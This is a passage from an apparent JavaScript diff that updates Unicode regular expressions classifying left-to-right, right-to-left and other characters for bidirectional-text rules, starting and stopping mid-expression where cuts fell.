\u{111F4}\u{11200}-\u{11211}\u{11213}-\u{1122E}\u{11232}\u{11233}\u{11235}\u{11238}-\u{1123D}\u{11280}-\u{11286}\u{11288}\u{1128A}-\u{1128D}\u{1128F}-\u{1129D}\u{1129F}-\u{112A9}\u{112B0}-\u{112DE}\u{112E0}-\u{112E2}\u{112F0}-\u{112F9}\u{11302}\u{11303}\u{11305}-\u{1130C}\u{1130F}\u{11310}\u{11313}-\u{11328}\u{1132A}-\u{11330}\u{11332}\u{11333}\u{11335}-\u{11339}\u{1133D}-\u{1133F}\u{11341}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11350}\u{11357}\u{1135D}-\u{11363}\u{11400}-\u{11437}\u{11440}\u{11441}\u{11445}\u{11447}-\u{1145B}\u{1145D}\u{1145F}-\u{11461}\u{11480}-\u{114B2}\u{114B9}\u{114BB}-\u{114BE}\u{114C1}\u{114C4}-\u{114C7}\u{114D0}-\u{114D9}\u{11580}-\u{115B1}\u{115B8}-\u{115BB}\u{115BE}\u{115C1}-\u{115DB}\u{11600}-\u{11632}\u{1163B}\u{1163C}\u{1163E}\u{11641}-\u{11644}\u{11650}-\u{11659}\u{11680}-\u{116AA}\u{116AC}\u{116AE}\u{116AF}\u{116B6}\u{116B8}\u{116B9}\u{116C0}-\u{116C9}\u{11700}-\u{1171A}\u{11720}\u{11721}\u{11726}\u{11730}-\u{11746}\u{11800}-\u{1182E}\u{11838}\u{1183B}\u{118A0}-\u{118F2}\u{118FF}-\u{11906}\u{11909}\u{1190C}-\u{11913}\u{11915}\u{11916}\u{11918}-\u{11935}\u{11937}\u{11938}\u{1193D}\u{1193F}-\u{11942}\u{11944}-\u{11946}\u{11950}-\u{11959}\u{119A0}-\u{119A7}\u{119AA}-\u{119D3}\u{119DC}-\u{119DF}\u{119E1}-\u{119E4}\u{11A00}\u{11A07}\u{11A08}\u{11A0B}-\u{11A32}\u{11A39}\u{11A3A}\u{11A3F}-\u{11A46}\u{11A50}\u{11A57}\u{11A58}\u{11A5C}-\u{11A89}\u{11A97}\u{11A9A}-\u{11AA2}\u{11AB0}-\u{11AF8}\u{11C00}-\u{11C08}\u{11C0A}-\u{11C2F}\u{11C3E}-\u{11C45}\u{11C50}-\u{11C6C}\u{11C70}-\u{11C8F}\u{11CA9}\u{11CB1}\u{11CB4}\u{11D00}-\u{11D06}\u{11D08}\u{11D09}\u{11D0B}-\u{11D30}\u{11D46}\u{11D50}-\u{11D59}\u{11D60}-\u{11D65}\u{11D67}\u{11D68}\u{11D6A}-\u{11D8E}\u{11D93}\u{11D94}\u{11D96}\u{11D98}\u{11DA0}-\u{11DA9}\u{11EE0}-\u{11EF2}\u{11EF5}-\u{11EF8}\u{11FB0}\u{11FC0}-\u{11FD4}\u{11FFF}-\u{12399}\u{12400}-\u{1246E}\u{12470}-\u{12474}\u{12480}-\u{12543}\u{12F90}-\u{12FF2}\u{13000}-\u{1342E}\u{13430}-\u{13438}\u{14400}-\u{14646}\u{16800}-\u{16A38}\u{16A40}-\u{16A5E}\u{16A60}-\u{16A69}\u{16A6E}-\u{16ABE}\u{16AC0}-\u{16AC9}\u{16AD0}-\u{16AED}\u{16AF5}\u{16B00}-\u{16B2F}\u{16B37}-\u{16B45}\u{16B50}-\u{16B59}\u{16B5B}-\u{16B61}\u{16B63}-\u{16B77}\u{16B7D}-\u{16B8F}\u{16E40}-\u{16E9A}\u{16F00}-\u{16F4A}\u{16F50}-\u{16F87}\u{16F93}-\u{16F9F}\u{16FE0}\u{16FE1}\u{16FE3}\u{16FF0}\u{16FF1}\u{17000}-\u{187F7}\u{18800}-\u{18CD5}\u{18D00}-\u{18D08}\u{1AFF0}-\u{1AFF3}\u{1AFF5}-\u{1AFFB}\u{1AFFD}\u{1AFFE}\u{1B000}-\u{1B122}\u{1B150}-\u{1B152}\u{1B164}-\u{1B167}\u{1B170}-\u{1B2FB}\u{1BC00}-\u{1BC6A}\u{1BC70}-\u{1BC7C}\u{1BC80}-\u{1BC88}\u{1BC90}-\u{1BC99}\u{1BC9C}\u{1BC9F}\u{1CF50}-\u{1CFC3}\u{1D000}-\u{1D0F5}\u{1D100}-\u{1D126}\u{1D129}-\u{1D166}\u{1D16A}-\u{1D172}\u{1D183}\u{1D184}\u{1D18C}-\u{1D1A9}\u{1D1AE}-\u{1D1E8}\u{1D2E0}-\u{1D2F3}\u{1D360}-\u{1D378}\u{1D400}-\u{1D454}\u{1D456}-\u{1D49C}\u{1D49E}\u{1D49F}\u{1D4A2}\u{1D4A5}\u{1D4A6}\u{1D4A9}-\u{1D4AC}\u{1D4AE}-\u{1D4B9}\u{1D4BB}\u{1D4BD}-\u{1D4C3}\u{1D4C5}-\u{1D505}\u{1D507}-\u{1D50A}\u{1D50D}-\u{1D514}\u{1D516}-\u{1D51C}\u{1D51E}-\u{1D539}\u{1D53B}-\u{1D53E}\u{1D540}-\u{1D544}\u{1D546}\u{1D54A}-\u{1D550}\u{1D552}-\u{1D6A5}\u{1D6A8}-\u{1D6DA}\u{1D6DC}-\u{1D714}\u{1D716}-\u{1D74E}\u{1D750}-\u{1D788}\u{1D78A}-\u{1D7C2}\u{1D7C4}-\u{1D7CB}\u{1D800}-\u{1D9FF}\u{1DA37}-\u{1DA3A}\u{1DA6D}-\u{1DA74}\u{1DA76}-\u{1DA83}\u{1DA85}-\u{1DA8B}\u{1DF00}-\u{1DF1E}\u{1E100}-\u{1E12C}\u{1E137}-\u{1E13D}\u{1E140}-\u{1E149}\u{1E14E}\u{1E14F}\u{1E290}-\u{1E2AD}\u{1E2C0}-\u{1E2EB}\u{1E2F0}-\u{1E2F9}\u{1E7E0}-\u{1E7E6}\u{1E7E8}-\u{1E7EB}\u{1E7ED}\u{1E7EE}\u{1E7F0}-\u{1E7FE}\u{1F110}-\u{1F12E}\u{1F130}-\u{1F169}\u{1F170}-\u{1F1AC}\u{1F1E6}-\u{1F202}\u{1F210}-\u{1F23B}\u{1F240}-\u{1F248}\u{1F250}\u{1F251}\u{20000}-\u{2A6DF}\u{2A700}-\u{2B738}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u{2F800}-\u{2FA1D}\u{30000}-\u{3134A}\u{F0000}-\u{FFFFD}\u{100000}-\u{10FFFD}]/u; +const bidiS1LTR = /[A-Za-z\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02B8\u02BB-\u02C1\u02D0\u02D1\u02E0-\u02E4\u02EE\u0370-\u0373\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0482\u048A-\u052F\u0531-\u0556\u0559-\u0589\u0903-\u0939\u093B\u093D-\u0940\u0949-\u094C\u094E-\u0950\u0958-\u0961\u0964-\u0980\u0982\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD-\u09C0\u09C7\u09C8\u09CB\u09CC\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E1\u09E6-\u09F1\u09F4-\u09FA\u09FC\u09FD\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3E-\u0A40\u0A59-\u0A5C\u0A5E\u0A66-\u0A6F\u0A72-\u0A74\u0A76\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD-\u0AC0\u0AC9\u0ACB\u0ACC\u0AD0\u0AE0\u0AE1\u0AE6-\u0AF0\u0AF9\u0B02\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B3E\u0B40\u0B47\u0B48\u0B4B\u0B4C\u0B57\u0B5C\u0B5D\u0B5F-\u0B61\u0B66-\u0B77\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE\u0BBF\u0BC1\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCC\u0BD0\u0BD7\u0BE6-\u0BF2\u0C01-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C41-\u0C44\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C66-\u0C6F\u0C77\u0C7F\u0C80\u0C82-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD-\u0CC4\u0CC6-\u0CC8\u0CCA\u0CCB\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0\u0CE1\u0CE6-\u0CEF\u0CF1-\u0CF3\u0D02-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D-\u0D40\u0D46-\u0D48\u0D4A-\u0D4C\u0D4E\u0D4F\u0D54-\u0D61\u0D66-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCF-\u0DD1\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2-\u0DF4\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E4F-\u0E5B\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00-\u0F17\u0F1A-\u0F34\u0F36\u0F38\u0F3E-\u0F47\u0F49-\u0F6C\u0F7F\u0F85\u0F88-\u0F8C\u0FBE-\u0FC5\u0FC7-\u0FCC\u0FCE-\u0FDA\u1000-\u102C\u1031\u1038\u103B\u103C\u103F-\u1057\u105A-\u105D\u1061-\u1070\u1075-\u1081\u1083\u1084\u1087-\u108C\u108E-\u109C\u109E-\u10C5\u10C7\u10CD\u10D0-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1360-\u137C\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u167F\u1681-\u169A\u16A0-\u16F8\u1700-\u1711\u1715\u171F-\u1731\u1734-\u1736\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17B6\u17BE-\u17C5\u17C7\u17C8\u17D4-\u17DA\u17DC\u17E0-\u17E9\u1810-\u1819\u1820-\u1878\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1923-\u1926\u1929-\u192B\u1930\u1931\u1933-\u1938\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A16\u1A19\u1A1A\u1A1E-\u1A55\u1A57\u1A61\u1A63\u1A64\u1A6D-\u1A72\u1A80-\u1A89\u1A90-\u1A99\u1AA0-\u1AAD\u1B04-\u1B33\u1B35\u1B3B\u1B3D-\u1B41\u1B43-\u1B4C\u1B50-\u1B6A\u1B74-\u1B7E\u1B82-\u1BA1\u1BA6\u1BA7\u1BAA\u1BAE-\u1BE5\u1BE7\u1BEA-\u1BEC\u1BEE\u1BF2\u1BF3\u1BFC-\u1C2B\u1C34\u1C35\u1C3B-\u1C49\u1C4D-\u1C88\u1C90-\u1CBA\u1CBD-\u1CC7\u1CD3\u1CE1\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5-\u1CF7\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200E\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u214F\u2160-\u2188\u2336-\u237A\u2395\u249C-\u24E9\u26AC\u2800-\u28FF\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D70\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u302E\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u3190-\u31BF\u31F0-\u321C\u3220-\u324F\u3260-\u327B\u327F-\u32B0\u32C0-\u32CB\u32D0-\u3376\u337B-\u33DD\u33E0-\u33FE\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA60C\uA610-\uA62B\uA640-\uA66E\uA680-\uA69D\uA6A0-\uA6EF\uA6F2-\uA6F7\uA722-\uA787\uA789-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA824\uA827\uA830-\uA837\uA840-\uA873\uA880-\uA8C3\uA8CE-\uA8D9\uA8F2-\uA8FE\uA900-\uA925\uA92E-\uA946\uA952\uA953\uA95F-\uA97C\uA983-\uA9B2\uA9B4\uA9B5\uA9BA\uA9BB\uA9BE-\uA9CD\uA9CF-\uA9D9\uA9DE-\uA9E4\uA9E6-\uA9FE\uAA00-\uAA28\uAA2F\uAA30\uAA33\uAA34\uAA40-\uAA42\uAA44-\uAA4B\uAA4D\uAA50-\uAA59\uAA5C-\uAA7B\uAA7D-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAAEB\uAAEE-\uAAF5\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB69\uAB70-\uABE4\uABE6\uABE7\uABE9-\uABEC\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uD800-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC\u{10000}-\u{1000B}\u{1000D}-\u{10026}\u{10028}-\u{1003A}\u{1003C}\u{1003D}\u{1003F}-\u{1004D}\u{10050}-\u{1005D}\u{10080}-\u{100FA}\u{10100}\u{10102}\u{10107}-\u{10133}\u{10137}-\u{1013F}\u{1018D}\u{1018E}\u{101D0}-\u{101FC}\u{10280}-\u{1029C}\u{102A0}-\u{102D0}\u{10300}-\u{10323}\u{1032D}-\u{1034A}\u{10350}-\u{10375}\u{10380}-\u{1039D}\u{1039F}-\u{103C3}\u{103C8}-\u{103D5}\u{10400}-\u{1049D}\u{104A0}-\u{104A9}\u{104B0}-\u{104D3}\u{104D8}-\u{104FB}\u{10500}-\u{10527}\u{10530}-\u{10563}\u{1056F}-\u{1057A}\u{1057C}-\u{1058A}\u{1058C}-\u{10592}\u{10594}\u{10595}\u{10597}-\u{105A1}\u{105A3}-\u{105B1}\u{105B3}-\u{105B9}\u{105BB}\u{105BC}\u{10600}-\u{10736}\u{10740}-\u{10755}\u{10760}-\u{10767}\u{10780}-\u{10785}\u{10787}-\u{107B0}\u{107B2}-\u{107BA}\u{11000}\u{11002}-\u{11037}\u{11047}-\u{1104D}\u{11066}-\u{1106F}\u{11071}\u{11072}\u{11075}\u{11082}-\u{110B2}\u{110B7}\u{110B8}\u{110BB}-\u{110C1}\u{110CD}\u{110D0}-\u{110E8}\u{110F0}-\u{110F9}\u{11103}-\u{11126}\u{1112C}\u{11136}-\u{11147}\u{11150}-\u{11172}\u{11174}-\u{11176}\u{11182}-\u{111B5}\u{111BF}-\u{111C8}\u{111CD}\u{111CE}\u{111D0}-\u{111DF}\u{111E1}-\u{111F4}\u{11200}-\u{11211}\u{11213}-\u{1122E}\u{11232}\u{11233}\u{11235}\u{11238}-\u{1123D}\u{1123F}\u{11240}\u{11280}-\u{11286}\u{11288}\u{1128A}-\u{1128D}\u{1128F}-\u{1129D}\u{1129F}-\u{112A9}\u{112B0}-\u{112DE}\u{112E0}-\u{112E2}\u{112F0}-\u{112F9}\u{11302}\u{11303}\u{11305}-\u{1130C}\u{1130F}\u{11310}\u{11313}-\u{11328}\u{1132A}-\u{11330}\u{11332}\u{11333}\u{11335}-\u{11339}\u{1133D}-\u{1133F}\u{11341}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11350}\u{11357}\u{1135D}-\u{11363}\u{11400}-\u{11437}\u{11440}\u{11441}\u{11445}\u{11447}-\u{1145B}\u{1145D}\u{1145F}-\u{11461}\u{11480}-\u{114B2}\u{114B9}\u{114BB}-\u{114BE}\u{114C1}\u{114C4}-\u{114C7}\u{114D0}-\u{114D9}\u{11580}-\u{115B1}\u{115B8}-\u{115BB}\u{115BE}\u{115C1}-\u{115DB}\u{11600}-\u{11632}\u{1163B}\u{1163C}\u{1163E}\u{11641}-\u{11644}\u{11650}-\u{11659}\u{11680}-\u{116AA}\u{116AC}\u{116AE}\u{116AF}\u{116B6}\u{116B8}\u{116B9}\u{116C0}-\u{116C9}\u{11700}-\u{1171A}\u{11720}\u{11721}\u{11726}\u{11730}-\u{11746}\u{11800}-\u{1182E}\u{11838}\u{1183B}\u{118A0}-\u{118F2}\u{118FF}-\u{11906}\u{11909}\u{1190C}-\u{11913}\u{11915}\u{11916}\u{11918}-\u{11935}\u{11937}\u{11938}\u{1193D}\u{1193F}-\u{11942}\u{11944}-\u{11946}\u{11950}-\u{11959}\u{119A0}-\u{119A7}\u{119AA}-\u{119D3}\u{119DC}-\u{119DF}\u{119E1}-\u{119E4}\u{11A00}\u{11A07}\u{11A08}\u{11A0B}-\u{11A32}\u{11A39}\u{11A3A}\u{11A3F}-\u{11A46}\u{11A50}\u{11A57}\u{11A58}\u{11A5C}-\u{11A89}\u{11A97}\u{11A9A}-\u{11AA2}\u{11AB0}-\u{11AF8}\u{11B00}-\u{11B09}\u{11C00}-\u{11C08}\u{11C0A}-\u{11C2F}\u{11C3E}-\u{11C45}\u{11C50}-\u{11C6C}\u{11C70}-\u{11C8F}\u{11CA9}\u{11CB1}\u{11CB4}\u{11D00}-\u{11D06}\u{11D08}\u{11D09}\u{11D0B}-\u{11D30}\u{11D46}\u{11D50}-\u{11D59}\u{11D60}-\u{11D65}\u{11D67}\u{11D68}\u{11D6A}-\u{11D8E}\u{11D93}\u{11D94}\u{11D96}\u{11D98}\u{11DA0}-\u{11DA9}\u{11EE0}-\u{11EF2}\u{11EF5}-\u{11EF8}\u{11F02}-\u{11F10}\u{11F12}-\u{11F35}\u{11F3E}\u{11F3F}\u{11F41}\u{11F43}-\u{11F59}\u{11FB0}\u{11FC0}-\u{11FD4}\u{11FFF}-\u{12399}\u{12400}-\u{1246E}\u{12470}-\u{12474}\u{12480}-\u{12543}\u{12F90}-\u{12FF2}\u{13000}-\u{1343F}\u{13441}-\u{13446}\u{14400}-\u{14646}\u{16800}-\u{16A38}\u{16A40}-\u{16A5E}\u{16A60}-\u{16A69}\u{16A6E}-\u{16ABE}\u{16AC0}-\u{16AC9}\u{16AD0}-\u{16AED}\u{16AF5}\u{16B00}-\u{16B2F}\u{16B37}-\u{16B45}\u{16B50}-\u{16B59}\u{16B5B}-\u{16B61}\u{16B63}-\u{16B77}\u{16B7D}-\u{16B8F}\u{16E40}-\u{16E9A}\u{16F00}-\u{16F4A}\u{16F50}-\u{16F87}\u{16F93}-\u{16F9F}\u{16FE0}\u{16FE1}\u{16FE3}\u{16FF0}\u{16FF1}\u{17000}-\u{187F7}\u{18800}-\u{18CD5}\u{18D00}-\u{18D08}\u{1AFF0}-\u{1AFF3}\u{1AFF5}-\u{1AFFB}\u{1AFFD}\u{1AFFE}\u{1B000}-\u{1B122}\u{1B132}\u{1B150}-\u{1B152}\u{1B155}\u{1B164}-\u{1B167}\u{1B170}-\u{1B2FB}\u{1BC00}-\u{1BC6A}\u{1BC70}-\u{1BC7C}\u{1BC80}-\u{1BC88}\u{1BC90}-\u{1BC99}\u{1BC9C}\u{1BC9F}\u{1CF50}-\u{1CFC3}\u{1D000}-\u{1D0F5}\u{1D100}-\u{1D126}\u{1D129}-\u{1D166}\u{1D16A}-\u{1D172}\u{1D183}\u{1D184}\u{1D18C}-\u{1D1A9}\u{1D1AE}-\u{1D1E8}\u{1D2C0}-\u{1D2D3}\u{1D2E0}-\u{1D2F3}\u{1D360}-\u{1D378}\u{1D400}-\u{1D454}\u{1D456}-\u{1D49C}\u{1D49E}\u{1D49F}\u{1D4A2}\u{1D4A5}\u{1D4A6}\u{1D4A9}-\u{1D4AC}\u{1D4AE}-\u{1D4B9}\u{1D4BB}\u{1D4BD}-\u{1D4C3}\u{1D4C5}-\u{1D505}\u{1D507}-\u{1D50A}\u{1D50D}-\u{1D514}\u{1D516}-\u{1D51C}\u{1D51E}-\u{1D539}\u{1D53B}-\u{1D53E}\u{1D540}-\u{1D544}\u{1D546}\u{1D54A}-\u{1D550}\u{1D552}-\u{1D6A5}\u{1D6A8}-\u{1D6DA}\u{1D6DC}-\u{1D714}\u{1D716}-\u{1D74E}\u{1D750}-\u{1D788}\u{1D78A}-\u{1D7C2}\u{1D7C4}-\u{1D7CB}\u{1D800}-\u{1D9FF}\u{1DA37}-\u{1DA3A}\u{1DA6D}-\u{1DA74}\u{1DA76}-\u{1DA83}\u{1DA85}-\u{1DA8B}\u{1DF00}-\u{1DF1E}\u{1DF25}-\u{1DF2A}\u{1E030}-\u{1E06D}\u{1E100}-\u{1E12C}\u{1E137}-\u{1E13D}\u{1E140}-\u{1E149}\u{1E14E}\u{1E14F}\u{1E290}-\u{1E2AD}\u{1E2C0}-\u{1E2EB}\u{1E2F0}-\u{1E2F9}\u{1E4D0}-\u{1E4EB}\u{1E4F0}-\u{1E4F9}\u{1E7E0}-\u{1E7E6}\u{1E7E8}-\u{1E7EB}\u{1E7ED}\u{1E7EE}\u{1E7F0}-\u{1E7FE}\u{1F110}-\u{1F12E}\u{1F130}-\u{1F169}\u{1F170}-\u{1F1AC}\u{1F1E6}-\u{1F202}\u{1F210}-\u{1F23B}\u{1F240}-\u{1F248}\u{1F250}\u{1F251}\u{20000}-\u{2A6DF}\u{2A700}-\u{2B739}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u{2F800}-\u{2FA1D}\u{30000}-\u{3134A}\u{31350}-\u{323AF}\u{F0000}-\u{FFFFD}\u{100000}-\u{10FFFD}]/u; const bidiS1RTL = /[\u05BE\u05C0\u05C3\u05C6\u05D0-\u05EA\u05EF-\u05F4\u0608\u060B\u060D\u061B-\u064A\u066D-\u066F\u0671-\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u070D\u070F\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07C0-\u07EA\u07F4\u07F5\u07FA\u07FE-\u0815\u081A\u0824\u0828\u0830-\u083E\u0840-\u0858\u085E\u0860-\u086A\u0870-\u088E\u08A0-\u08C9\u200F\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBC2\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFC\uFE70-\uFE74\uFE76-\uFEFC\u{10800}-\u{10805}\u{10808}\u{1080A}-\u{10835}\u{10837}\u{10838}\u{1083C}\u{1083F}-\u{10855}\u{10857}-\u{1089E}\u{108A7}-\u{108AF}\u{108E0}-\u{108F2}\u{108F4}\u{108F5}\u{108FB}-\u{1091B}\u{10920}-\u{10939}\u{1093F}\u{10980}-\u{109B7}\u{109BC}-\u{109CF}\u{109D2}-\u{10A00}\u{10A10}-\u{10A13}\u{10A15}-\u{10A17}\u{10A19}-\u{10A35}\u{10A40}-\u{10A48}\u{10A50}-\u{10A58}\u{10A60}-\u{10A9F}\u{10AC0}-\u{10AE4}\u{10AEB}-\u{10AF6}\u{10B00}-\u{10B35}\u{10B40}-\u{10B55}\u{10B58}-\u{10B72}\u{10B78}-\u{10B91}\u{10B99}-\u{10B9C}\u{10BA9}-\u{10BAF}\u{10C00}-\u{10C48}\u{10C80}-\u{10CB2}\u{10CC0}-\u{10CF2}\u{10CFA}-\u{10D23}\u{10E80}-\u{10EA9}\u{10EAD}\u{10EB0}\u{10EB1}\u{10F00}-\u{10F27}\u{10F30}-\u{10F45}\u{10F51}-\u{10F59}\u{10F70}-\u{10F81}\u{10F86}-\u{10F89}\u{10FB0}-\u{10FCB}\u{10FE0}-\u{10FF6}\u{1E800}-\u{1E8C4}\u{1E8C7}-\u{1E8CF}\u{1E900}-\u{1E943}\u{1E94B}\u{1E950}-\u{1E959}\u{1E95E}\u{1E95F}\u{1EC71}-\u{1ECB4}\u{1ED01}-\u{1ED3D}\u{1EE00}-\u{1EE03}\u{1EE05}-\u{1EE1F}\u{1EE21}\u{1EE22}\u{1EE24}\u{1EE27}\u{1EE29}-\u{1EE32}\u{1EE34}-\u{1EE37}\u{1EE39}\u{1EE3B}\u{1EE42}\u{1EE47}\u{1EE49}\u{1EE4B}\u{1EE4D}-\u{1EE4F}\u{1EE51}\u{1EE52}\u{1EE54}\u{1EE57}\u{1EE59}\u{1EE5B}\u{1EE5D}\u{1EE5F}\u{1EE61}\u{1EE62}\u{1EE64}\u{1EE67}-\u{1EE6A}\u{1EE6C}-\u{1EE72}\u{1EE74}-\u{1EE77}\u{1EE79}-\u{1EE7C}\u{1EE7E}\u{1EE80}-\u{1EE89}\u{1EE8B}-\u{1EE9B}\u{1EEA1}-\u{1EEA3}\u{1EEA5}-\u{1EEA9}\u{1EEAB}-\u{1EEBB}]/u; -const bidiS2 = /^[\0-\x08\x0E-\x1B!-@\[-`\{-\x84\x86-\xA9\xAB-\xB4\xB6-\xB9\xBB-\xBF\xD7\xF7\u02B9\u02BA\u02C2-\u02CF\u02D2-\u02DF\u02E5-\u02ED\u02EF-\u036F\u0374\u0375\u037E\u0384\u0385\u0387\u03F6\u0483-\u0489\u058A\u058D-\u058F\u0591-\u05C7\u05D0-\u05EA\u05EF-\u05F4\u0600-\u070D\u070F-\u074A\u074D-\u07B1\u07C0-\u07FA\u07FD-\u082D\u0830-\u083E\u0840-\u085B\u085E\u0860-\u086A\u0870-\u088E\u0890\u0891\u0898-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09F2\u09F3\u09FB\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AF1\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0BF3-\u0BFA\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C78-\u0C7E\u0C81\u0CBC\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E3F\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECD\u0F18\u0F19\u0F35\u0F37\u0F39-\u0F3D\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1390-\u1399\u1400\u169B\u169C\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DB\u17DD\u17F0-\u17F9\u1800-\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1940\u1944\u1945\u19DE-\u19FF\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1C